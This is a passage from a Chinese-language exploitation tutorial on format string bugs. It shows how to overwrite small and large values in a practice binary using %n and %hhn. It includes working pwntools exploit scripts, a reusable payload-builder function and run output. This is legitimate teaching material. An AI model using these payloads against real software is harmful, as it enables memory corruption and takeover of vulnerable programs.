或許我們可以使用整形溢出來修改對應的地址的值,但是這樣將面臨着我們得一次輸出大量的內容。而這,一般情況下,基本都不會攻擊成功。

那麼我們應該怎麼做呢?再仔細想一下,我們有必要將所要覆蓋的變量的地址放在字符串的最前面麼?似乎沒有,我們當時只是爲了尋找偏移,所以才把tag放在字符串的最前面,如果我們把tag放在中間,其實也是無妨的。類似的,我們把地址放在中間,只要能夠找到對應的偏移,其照樣也可以得到對應的數值。前面已經說了我們的格式化字符串的爲第6個參數。由於我們想要把2寫到對應的地址處,故而格式化字符串的前面的字節必須是

aa%k$nxx

此時對應的存儲的格式化字符串已經佔據了6個字符的位置,如果我們再添加兩個字符aa,那麼其實aa%k就是第6個參數,$nxx其實就是第7個參數,後面我們如果跟上我們要覆蓋的地址,那就是第8個參數,所以如果我們這裏設置k爲8,其實就可以覆蓋了。

利用ida可以得到a的地址爲0x0804A024(由於a、b是已初始化的全局變量,因此不在堆棧中)。

.data:0804A024                 public a
.data:0804A024 a               dd 7Bh

故而我們可以構造如下的利用代碼

def fora():
    sh = process('./overwrite')
    a_addr = 0x0804A024
    payload = 'aa%8$naa' + p32(a_addr)
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

對應的結果如下

  overwrite git:(master)  python exploit.py
[+] Starting local process './overwrite': pid 76508
[*] Process './overwrite' stopped with exit code 0 (pid 76508)
0xffc1729c
aaaa$\xa0\x0modified a for a small number.

其實,這裏我們需要掌握的小技巧就是,我們沒有必要把地址放在最前面,放在哪裏都可以,只要我們可以找到其對應的偏移即可。

覆蓋大數字

上面介紹了覆蓋小數字,這裏我們介紹如何覆蓋大數字。上面我們也說了,我們可以選擇直接一次性輸出大數字個字節來進行覆蓋,但是這樣基本也不會成功,因爲太長了。而且即使成功,我們一次性等待的時間也太長了,那麼有沒有什麼比較好的方式呢?自然是有了。

不過在介紹之前,我們得先再簡單瞭解一下,變量在內存中的存儲格式。首先,所有的變量在內存中都是以字節進行存儲的。此外,在x86和x64的體系結構中,變量的存儲格式爲以小端存儲,即最低有效位存儲在低地址。舉個例子,0x12345678在內存中由低地址到高地址依次爲\x78\x56\x34\x12。再者,我們可以回憶一下格式化字符串裏面的標誌,可以發現有這麼兩個標誌:

hh 對於整數類型,printf期待一個從char提升的int尺寸的整型參數。
h  對於整數類型,printf期待一個從short提升的int尺寸的整型參數。

所以說,我們可以利用%hhn向某個地址寫入單字節,利用%hn向某個地址寫入雙字節。這裏,我們以單字節爲例。

首先,我們還是要確定的是要覆蓋的地址爲多少,利用ida看一下,可以發現地址爲0x0804A028。

.data:0804A028                 public b
.data:0804A028 b               dd 1C8h                 ; DATA XREF: main:loc_8048510r

即我們希望將按照如下方式進行覆蓋,前面爲覆蓋地址,後面爲覆蓋內容。

0x0804A028 \x78
0x0804A029 \x56
0x0804A02a \x34
0x0804A02b \x12

首先,由於我們的字符串的偏移爲6,所以我們可以確定我們的payload基本是這個樣子的

p32(0x0804A028)+p32(0x0804A029)+p32(0x0804A02a)+p32(0x0804A02b)+pad1+'%6$n'+pad2+'%7$n'+pad3+'%8$n'+pad4+'%9$n'

我們可以依次進行計算。這裏給出一個基本的構造,如下

def fmt(prev, word, index):
    if prev < word:
        result = word - prev
        fmtstr = "%" + str(result) + "c"
    elif prev == word:
        result = 0
    else:
        result = 256 + word - prev
        fmtstr = "%" + str(result) + "c"
    fmtstr += "%" + str(index) + "$hhn"
    return fmtstr


def fmt_str(offset, size, addr, target):
    payload = ""
    for i in range(4):
        if size == 4:
            payload += p32(addr + i)
        else:
            payload += p64(addr + i)
    prev = len(payload)
    for i in range(4):
        payload += fmt(prev, (target >> i * 8) & 0xff, offset + i)
        prev = (target >> i * 8) & 0xff
    return payload
payload = fmt_str(6,4,0x0804A028,0x12345678)

其中每個參數的含義基本如下

  • offset表示要覆蓋的地址最初的偏移
  • size表示機器字長
  • addr表示將要覆蓋的地址。
  • target表示我們要覆蓋爲的目的變量值。

相應的exploit如下

def forb():
    sh = process('./overwrite')
    payload = fmt_str(6, 4, 0x0804A028, 0x12345678)
    print payload
    sh.sendline(payload)
    print sh.recv()
    sh.interactive()

結果如下

  overwrite git:(master)  python exploit.py
[+] Starting local process './overwrite': pid 78547
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0%104c%6$hhn%222c%7$hhn%222c%8$hhn%222c%9$hhn
[*] Process './overwrite' stopped with exit code 0 (pid 78547)
0xfff6f9bc
(\xa0\x0)\xa0\x0*\xa0\x0+\xa0\x0                                                                                                       X                                                                                                                                                                                                                                                                                                                                                                                                                                                          \xbb                                                                                                                                                                                                                             ~modified b for a big number!

當然,我們也可以利用%n分別對每個地址進行寫入,也可以得到對應的答案,但是由於我們寫入的變量都只會影響由其開始的四個字節,所以最後一個變量寫完之後,我們可能會修改之後的三個字節,如果這三個字節比較重要的話,程序就有可能因此崩潰。而採用%hhn則不會有這樣的問題,因爲這樣只會修改相應地址的一個字節。